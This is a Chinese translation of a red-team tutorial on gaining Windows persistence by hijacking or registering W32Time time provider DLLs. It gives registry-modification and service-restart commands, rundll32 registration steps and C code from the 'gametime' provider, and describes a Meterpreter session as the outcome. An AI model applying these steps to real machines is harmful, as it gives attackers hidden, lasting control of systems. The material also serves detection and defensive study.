Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。
由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpServer
该W32Time将运行在Windows环境作为本地服务,它是通过svchost的执行。
![2ea8696c127848f890e73a10bdf1b096.png](https://i-blog.csdnimg.cn/blog_migrate/95a20444e8384590cdc1326a875dc8fa.jpeg)
恶意DLL已放入磁盘中,将执行有效负载。在命令提示符下,可以通过执行以下命令以指向任意DLL的位置来修改时间提供者注册表项。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient" /v DllName /t REG_SZ /d "C:tempw32time.dll"
![6bdedd93223bbf66935ce47ff9ec7dca.png](https://i-blog.csdnimg.cn/blog_migrate/194b24ed132d162661332b2a6dc2da4b.jpeg)
从注册表编辑器中查看注册表将确认DllName的值已更新。
![f9877606f2c317fb14dbe3b9ca6b35e1.png](https://i-blog.csdnimg.cn/blog_migrate/12177960ab8941069c28faa73939cb93.jpeg)
该服务将在Windows启动期间启动,或者通过执行以下命令手动启动。
sc.exe stop w32time
sc.exe start w32time
![a45594b76fc65b83e1515745dc4b1932.png](https://i-blog.csdnimg.cn/blog_migrate/2bc8d7283412afbde5dbe5375b995bd7.jpeg)
将执行任意有效负载,并建立Meterpreter会话。
![7004847728844386e9dee53c8a4efd3a.png](https://i-blog.csdnimg.cn/blog_migrate/17e2bec0de99abf458085d752b98c245.jpeg)
修改Windows时间提供程序可能会向SOC团队发出警报。来自Carbon Black的Scott Lundgren在C中开发了一种称为gametime的时间提供程序。可以使用此DLL来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。这样可以避免滥用现有的Windows时间提供程序,而该时间提供程序可以由SOC监视。Rundll32可用于注册DLL。
Scott Lundgren使用了要在系统上创建的注册表项“ GameTime”。
#define GAMETIME_SVC_KEY_NAME L"SystemCurrentControlSetServicesW32TimeTimeProvidersGameTime"
![32a25fd457c48622a59998e57851ff71.png](https://i-blog.csdnimg.cn/blog_migrate/cb609dba5eb079682dd2dcbac6f94113.jpeg)
根据Microsoft 文档,时间提供者必须实现以下回调函数。
- TimeProvOpen
- TimeProvCommand
- TimeProvClose
TimeProvOpen用于返回提供者句柄,TimeProvCommand用于将命令发送到时间提供者,而TimeProvClose用于关闭时间提供者。
HRESULT __stdcall TimeProvOpen(
_In_ WCHAR *wszName,
_In_ TimeProvSysCallbacks *pSysCallbacks,
_Out_ TimeProvHandle *phTimeProv
)
{
UNREFERENCED_PARAMETER(pSysCallbacks);
UNREFERENCED_PARAMETER(phTimeProv);
OutputDebugStringW(wszName);
return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
*
*/
HRESULT __stdcall TimeProvCommand(
_In_ TimeProvHandle hTimeProv,
_In_ TimeProvCmd eCmd,
_In_ PVOID pvArgs
)
{
UNREFERENCED_PARAMETER(hTimeProv);
UNREFERENCED_PARAMETER(eCmd);
UNREFERENCED_PARAMETER(pvArgs);
return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
*
*/
HRESULT __stdcall TimeProvClose(
_In_ TimeProvHandle hTimeProv
)
{
UNREFERENCED_PARAMETER(hTimeProv);
return (S_OK);
}
![6b2cac38f9ae27ced1327dc854e612e1.png](https://i-blog.csdnimg.cn/blog_migrate/d4b6e6912033ace769fca005587fa29f.jpeg)
GameTime提供程序将在系统上填充以下注册表项,因为它们是Microsoft时间提供程序规范的一部分。
- DllName,
- Enabled
- InputProvider
该DLLNAME指示包含供应商,该DLL的名称启用使然是否提供商应在系统启动过程中启动。值“ 1”启动系统的提供者,而InputProvider指示提供者是输入还是输出。注册表值“ 1”表示已输入提供者。这些在下面的代码中指定:
nRet = RegSetValueExW(hkTimeProvider,
L"DllName",
0,
REG_SZ,
(LPBYTE)g_wzModule,
(DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW(hkTimeProvider,
L"Enabled",
0,
REG_DWORD,
(LPBYTE)&dwOne,
sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW(hkTimeProvider,
L"InputProvider",
0,
REG_DWORD,
(LPBYTE)&dwOne,
sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
![af64fe967a9d8b35ed4d345332d7d7f1.png](https://i-blog.csdnimg.cn/blog_migrate/ace3208e52097bce66aca5e5117d093c.jpeg)
该代码还使用Deregister回调函数从系统中删除创建的注册表项GameTime,作为清理过程。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersGameTime
void CALLBACK Deregister(
_In_ HWND hWnd,
_In_ HINSTANCE hInst,
_In_ LPSTR pwzCmdLine,
_In_ int nCmdShow)
{
long nRet;
UNREFERENCED_PARAMETER(hWnd);
UNREFERENCED_PARAMETER(hInst);
UNREFERENCED_PARAMETER(pwzCmdLine);
UNREFERENCED_PARAMETER(nCmdShow);
OutputDebugStringW(L"Unregistern");
nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegDeleteKeyW failed!", nRet);
goto ErrorExit;
}
ErrorExit:
return;
}
![b6635b44228f0113ef8b59be8a2d3088.png](https://i-blog.csdnimg.cn/blog_migrate/4ca83c5ffb5a5371b414b2c37d6e69cb.jpeg)
实际上,可以使用rundll32向系统注册DLL,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。
rundll32.exe gametime.dll,Register
![aa622700278a52e3ddf69c427a6e7474.png](https://i-blog.csdnimg.cn/blog_migrate/d22220f9cbbef7717cc235dfe721516c.jpeg)
将创建注册表项GameTime,并且DllName将包含DLL的路径。
![0f3d4edabbead19380a13f98cc46ac0b.png](https://i-blog.csdnimg.cn/blog_migrate/294c6df9862f35c5338c6a56d26fa5cf.jpeg)
再次修改注册表以包含任意DLL,将在服务重新启动期间执行类似于Windows时间提供程序的代码。
![3bb47ac48034a1956cc0a312cc700588.png](https://i-blog.csdnimg.cn/blog_migrate/7c808d9e70f3efda1ca551296b39ec39.jpeg)
该注销功能可用于删除所有相关联的密钥和系统上进行清理。
rundll32.exe gametime.dll,Deregister
![b2745f626e450d56bcd8bc874aa75d65.png](https://i-blog.csdnimg.cn/blog_migrate/317471001f0cc749a4a09bbdc5164055.jpeg)
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址: https:// pentestlab.blog/2019/10 /22/persistence-time-providers/